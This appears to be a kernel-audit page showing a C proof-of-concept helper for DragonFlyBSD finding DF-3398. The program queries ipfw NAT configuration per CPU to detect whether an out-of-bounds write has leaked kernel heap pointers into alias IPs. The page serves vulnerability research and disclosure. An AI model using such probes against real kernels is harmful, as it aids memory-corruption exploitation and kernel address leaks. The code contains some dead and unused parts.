⬢ DragonFlyBSD Kernel Audit
DF-3398 / query_nat.c
← back to finding ↓ download raw
/*
 * DF-3398 observer: read a NAT's alias configuration as seen from a chosen
 * CPU (getsockopt IP_FW_X -> IP_FW_NAT_GET runs in the caller's netisr CPU
 * context, ip_fw3_nat_ctx[mycpuid]).
 *
 * If the OOB write clobbered a neighbouring per-CPU cfg_alias, the alias IP
 * printed here turns into kernel-heap-pointer bytes.
 *
 * usage: query_nat <cpu> <nat_id>
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/usched.h>
#include <net/if.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define IP_FW_X 49
#define IP_FW_NAT_GET 71
typedef struct _ip_fw_x_header {
	uint16_t opcode;
	uint16_t _pad;
} ip_fw_x_header;

struct ioc_nat {
	int id;
	int count;
	struct in_addr ip[64];
};

int
main(int argc, char **argv)
{
	int cpu = atoi(argv[1]);
	int natid = atoi(argv[2]);
	unsigned char buf[4096];
	socklen_t len;
	int s, fd;
	struct ioc_nat *ioc;

	if (usched_set(getpid(), USCHED_SET_CPU, &cpu, sizeof(cpu)) != 0)
		perror("usched_set");

	s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
	if (s < 0) { perror("socket"); return 1; }

	memset(buf, 0, sizeof(buf));
	((struct ioc_nat *)(buf + sizeof(ip_fw_x_header)))->id = natid;
	((struct ioc_nat *)(buf + sizeof(ip_fw_x_header)))->count = 0;
	((ip_fw_x_header *)buf)->opcode = IP_FW_NAT_GET;
	len = 512;
	fd = 512; /* valsize hint */
	if (getsockopt(s, IPPROTO_IP, IP_FW_X, buf, &len) < 0) {
		perror("getsockopt");
		return 1;
	}
	printf("cpu%d nat%d GET returned %lu bytes\n", cpu, natid, (unsigned long)len);
	ioc = (struct ioc_nat *)buf;
	for (fd = 0; fd * 4 + 8 <= (int)len; ) {
		/* raw stream: id,count,ip[] — just dump u32 words */
		break;
	}
	{
		int i, n = len / 4;
		uint32_t *w = (uint32_t *)buf;
		for (i = 0; i < n; i++)
			printf("word[%d] = 0x%08x%s\n", i, w[i],
			    (i >= 2) ? inet_ntoa(*(struct in_addr *)&w[i]) : "");
	}
	return 0;
}